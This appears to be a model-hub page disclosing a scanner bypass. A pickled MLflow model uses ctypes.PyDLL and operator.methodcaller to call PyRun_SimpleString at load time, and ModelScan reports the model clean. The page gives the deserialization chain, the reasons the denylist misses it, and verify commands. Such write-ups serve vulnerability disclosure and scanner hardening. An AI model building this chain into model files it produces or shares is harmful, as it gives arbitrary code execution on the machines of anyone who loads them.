ModelScan MLflow PyDLL Bypass β RCE via ctypes.PyDLL + operator.methodcaller
Summary
ModelScan's pickle scanner uses an unsafe_globals denylist. Two critical modules are not blocked: ctypes.PyDLL and operator.methodcaller. This MLflow model exploits that gap.
This is the same PyDLL technique repackaged as an MLflow model (.pkl + MLmodel metadata). ModelScan reports 0 Issues. Loading via mlflow.pyfunc.load_model() triggers arbitrary code execution through CPython's C API.
Attack Chain
The pickle file uses only two STACK_GLOBAL opcodes:
ctypes.PyDLLβ Gets CPython's dynamic library loader (NOT in unsafe_globals)operator.methodcallerβ Gets method caller (NOT blocked; onlyattrgetteris)
Deserialization chain:
ctypes.PyDLL(None) β Opens current Python process
operator.methodcaller('PyRun_SimpleString', code) β Builds callable
methodcaller(dll) β Calls PyRun_SimpleString(arbitrary_code)
β Arbitrary code execution via CPython C API
Verify
# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! π
# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
# PyRun_SimpleString executes before load_model returns
"
Why It Works
ctypesis NOT in ModelScan's unsafe_globals denylist (onlyos.*,sys.*,subprocess.*,builtins.*are)operator.methodcalleris NOT blocked (onlyoperator.attrgetteris)PyRun_SimpleStringis a CPython C API that directly executes source code at the C level, bypassing Python-level restrictions
Impact
- Severity: Critical (CVSS 9.8)
- Affected Format: MLflow models, all pickle-based formats
- Works remotely via malicious model file download
- No authentication or user interaction required
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support